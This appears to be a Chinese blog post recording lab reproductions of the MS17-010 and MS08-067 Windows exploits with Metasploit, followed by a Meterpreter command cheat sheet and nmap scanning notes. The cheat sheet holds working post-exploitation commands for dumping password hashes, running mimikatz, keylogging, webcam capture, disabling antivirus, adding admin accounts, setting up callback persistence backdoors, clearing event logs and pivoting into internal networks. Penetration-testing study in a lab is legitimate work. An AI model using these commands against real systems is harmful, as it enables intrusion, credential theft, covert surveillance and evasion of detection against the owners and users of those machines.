day_02 渗透测试 ——经典漏洞复现

928 阅读12分钟

经典漏洞一:永恒之蓝(MS17-010)

一、靶场环境安装

  • kali操作系统 IP:10.10.10.130
  • win7系统 IP:10.10.10.133

599ab5533947048257897cf27212bf4.png

二、信息收集

  • 使用kali中自带的nmap对win7进行扫描
  • nmap -sS 10.10.10.133

image.png

nmap -sS -O 10.10.10.133 image.png

三、威胁建模

  • 发现该主机开放了445端口,并且该主机系统为win7。

四、漏洞分析

  • 结合前面的结果可以分析出该系统存在 MS17-010 漏洞

五、渗透攻击

  • 既然你存在这个漏洞,那么,接下来我就不客气了
  • 在kali中打开 msfconsole

image.png

  • 在命令行输入

search ms17-010

image.png

  • 基于信息收集阶段我们所了解到的信息,我们直接使用攻击模块

    use 0 调用攻击模块

image.png

  • rhost--被渗透方主机IP
  • lhost--渗透方主机IP
  • lport--渗透端口(可随意设置)
  • show options --查看配置参数

image.png

  • 当你看到这个界面时,恭喜您,您成功的体验了一把小黑客的感觉。
  • 既然,我们都控制了对方的电脑,那么接下来的后渗透才是我这个小黑客的终极目标

六、后渗透攻击

  • 在meterpreter界面输入 hashdump

image.png 获得用户名和密码,下图为client用户的密码

image.png

经典漏洞二--(MS08-067)

一、靶机环境:

  • 攻击机kali ip:10.10.10.130 /24
  • 靶机:win xp 外网IP:10.10.10.140 24
  • 内网IP:192.168.80.128
  • Win7  ip :192.168.80.148

二、信息收集:

  • nmap -O IP地址 #端口扫描

image.png

  • 结合我所知道的信息,该客户机开启了445端口,并且是win xp 系统,所以该客户机存在ms08-067漏洞。

三、渗透攻击:

  • 打开命令行进入管理员模式打开msfconsole输入:
  • search ms08-067

image.png

  • 直接use 0,设置攻击载荷

image.png

  • 直接run

image.png

  • 此时我已成功控制了win xp 系统
  • shell远程连接客户机
  • arp -a #查看该客户机网络映射情况
  • 发现,该主机存在192.168.80.0/24 网段的地址表,由此,我粗略判断,该网段属于内网

四、后渗透攻击:

  • run autoroute -s 192.168.80.0/24 #将该网段映射到kali攻击机

image.png

此时情况如下图:

image.png

至此:我出现了一定的操作思路错误: 没有对内网主机进行端口和版本扫描,请大伙不要犯这样的错误

image.png

  • 当我也在信心满满的时候,出现了攻击失败,虽然是失败了。但我学到了很多东西

MSF命令总结:

一、基础命令:

shell ---- 即可切换到目标主机的windows shell
exit ---- 要想从目标主机shell退出到 meterpreter
background ---- 从 meterpreter 退出到MSF框架


sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载mimikatz
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f \*.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid              #查看当前Meterpreter Shell的进程PID
migrate 1384        #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam\_list         #查看目标主机的摄像头
webcam\_snap         #拍照
webcam\_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan\_start                #开启键盘记录功能
keyscan\_dump                 #显示捕捉到的键盘记录信息
keyscan\_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run                     #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27     #反弹时间间隔是5s 会自动连接192.168.27的4444端口,
缺点是容易被杀毒软件查杀

portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,
这里的192.168.11.13是获取权限的主机的ip地址

clearev       #如果是windows可以用此命令清除目标主机上的日志记录

二、POST后渗透模块:

run post/windows/manage/migrate           #自动进程迁移
run post/windows/gather/checkvm           #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav            #关闭杀毒软件
run post/windows/manage/enable_rdp        #开启远程桌面服务
run post/windows/manage/autoroute         #查看路由信息
run post/windows/gather/enum_logged_on_users    #列举当前登录的用户
run post/windows/gather/enum_applications       #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump               #dump出所有用户的hash

三、权限提升:

  • 进入一个系统的后台,权限的额提升至关重要,关系到能否修改注册表,安装后门,获取密码等操作。

#在Meterpreter中提供看提升权限的命名,如下:getsystem		#提升权限   
注意:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
getuid              # 获取当前被攻击用户的信息

四、获取密码的方式:

run windows/gather/credentials/windows_autologin
很多用户习惯将计算机设置自动登录,可以使用 run windows/gather/credentials/windows_autologin 抓取自动
登录的用户名和密码

hashdump 模块
hashdump 模块可以从SAM数据库中导出本地用户账号。
run hashdump ,该命令的使用需要系统权限

还可以使用命令:run windows/gather/smart_hashdump
该命令的使用需要系统权限,该功能更强大,可以导出域内所有用户的hash

mimikatz程序
通过上传mimikatz程序,然后执行mimikatz程序来获取明文密码。此外,执行mimikatz必须System权限。

getsystem			  ##提权至系统权限
execute  -i  -f  mimikatz.exe      #进入mimikatz的交互界面
privilege::debug
sekurlsa::logonpasswords

加载kiwi模块
加载wiki模块也许要system权限

load wiki		# 加载该模块
help wiki    	# 查看帮助
creds_all	     #列举出所有证书的凭证:
MSF中的 mimikatz 模块
运行MSF里面自带的 mimikatz 模块 ,该模块的使用需要System权限。

run post/windows/gather/enum_applications   #查看目标主机安装了哪些应用
execute  参数  -f 可执行文件  				# 在目标系统中执行程序,参数选项如下参数
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:  跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程

五、创建新用户:

run post/windows/gather/enum_logged_on_users     #查看目标主机的用户
run getgui -u hack -p 123			#创建新用户,并添加到 Administrators 组中
注意:如果添加到Administrators组中失败了的话,在windows系统中,我们可以运行:shell ,进行cmd窗口手动将
该用户添加到administrators组中。

六、启用远程桌面:

  • 当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
开启远程桌面服务:
run getgui -e  或  run post/windows/manage/enable\_rdp
idletime   #检查目标主机的空闲时长
然后在kali的root视图下用rdesktop命令

rdesktop 192.168.1.110

七、键盘记录:

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan\_start:开启键盘记录功能
keyscan\_dump:显示捕捉到的键盘记录信息
keyscan\_stop:停止键盘记录功能
在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录

八、生成持续性后门:

  • 因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence) ,一种是通过服务启动(metsvc)

启动项启动
启动项启动的话,我们先生成一个后门工具,传送门——> 用MSF生成一个后门木马,然后放到windows的启动目录中:

C:\Users\$username\$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。

服务启动
run persistence -X -i 5 -p 8888 -r 192.168.10.27\
\#反弹时间间隔是5s 会自动连接192.168.274444端口,缺点是容易被杀毒软件查杀#然后它就在目标机新建了这个
文件:C:\Windows\TEMP\CJzhFlNOWa.vbs 并把该服务加入了注册表中,只要开机就会启动

九、 设置 socks 代理:

  • 这里socks模块只是将代理设置为本地的1080端口,即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口。所以我们需要添加一个路由,这样MSF监听的1080端口就可以到达内网了。
MSF中有三个代理模块,分别是socks4a、socks5、socks_unc。我们一般用 socks4a和socks5进行代理。
socks5可以设置用户名和密码。这里运行代理后,有时候MSF不会监听端口(有可能是个bug,试了好多次都有
这种情况),所以也就导致代理失败。


#使用socks4a代理
use auxiliary/server/socks5
run#使用socks5代理
use auxiliary/server/socks5
set USERNAME root
set PASSWORD Password@
run#然后打开/etc/proxychains.conf,加入下面一行
socks5 0.0.0.0 1080 root Password@#然后添加路由
route add 0.0.0.0 0.0.0.0 1#然后就可以使用curl了
proxychains nmap -p 21 -Pn -sT x.x.x.x     #在打开其他程序前加上proxychains

十、portfwd 端口转发:

  • portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听
portfwd add -l 3389 -r 192.168.11.13 -p 3389     
#将192.168.11.133389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机
的ip地址rdesktop 127.0.0.1:3389
# 然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了

十一、 导入并执行powershell脚本:

load powershell            #加载powershell功能
powershell_import /root/PowerView.ps1      #导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain     #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块
powershell_execute Invoke-UserHunter  #该功能模块用于定位域管理员登录的主机
powershell_execute Get-NetForest      #该模块用于定位域信息
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户

十二、其他命令:

当我们收到的不是meterpreter类型的session的话,不便于操作,就要升级session

sessions -u  id      # 升级session	

有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令

load stdapi			# 加载 stdapi

nmap工具使用文档

一、扫描原理:

TCP SYN扫描(-sS)
Nmap默认扫描方式,通常被称为半开放扫描。
发送SYN包到目标端口,若收到SYN/ACK回复,则端口被认为开放状态;
若收到RST回复,则端口被认为关闭状态;若没有收到回复,则认为该端口被屏蔽。
因为仅发送SYN包对目标主机的特定端口,但不建立完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。
TCP connect扫描(-sT)
使用系统网络API connect向目标主机的端口发起连接,如果无法连接,说明该端口关闭。
该方式扫描速度比较慢,而且由于建立完整的TCP连接会在目标主机上留下记录信息,不够隐蔽。
TCP ACK 扫描(-sA)
向目标主机的端口发送ACK包,如果收到RST包,说明该端口没有被防火墙屏蔽;
没有收到RST包,说明被屏蔽。该方式只能用于确定防火墙是否屏蔽某个端口,
可以辅助TCP SYN的方式来判断目标主机防火墙的状况
TCP FIN/Xmas/NULL扫描(-sN/sF/sX)
这三种扫描方式被称为秘密扫描,因为相对比较隐蔽。
FIN扫描向目标主机的端口发送的TCP FIN 包括Xmas tree包或NULL包,
如果收到对方的RST回复包,那么说明该端口是关闭的;没有收到RST包说明该端口可能是开放的或者被屏蔽了。
其中Xmas tree包是指flags中FIN URG PUSH被置为1TCP包;NULL包是指所有的flags都为0TCP包。
UDP扫描(-sU)
UDP扫描用于判断UDP端口的情况,向目标主机的UDP端口发送探测包,如果收到回复ICMP port unreachable就说明该端口是关闭的;如果没有收到回复,那说明该UDP端口可能是开放的或者屏蔽的。因此,通过反向排除法的方式来判断哪些UDP端口是可能处于开放状态的。
其他方式(-sY/-sZ)
除了以上几种常用的方式外,Nmap还支持多种其他的探测方式。
例如使用SCTP INIT/Cookie-ECHO方式是来探测SCTP的端口开放情况;
使用IP protocol方式来探测目标主机支持的协议类型(tcp/udp/icmp/sctp等等);
使用idle scan方式借助僵尸主机来扫描目标主机,以达到隐蔽自己的目的;
或者使用FTP bounce scan,借助FTP允许的代理服务扫描其他的主机,同样达到隐蔽自己的目的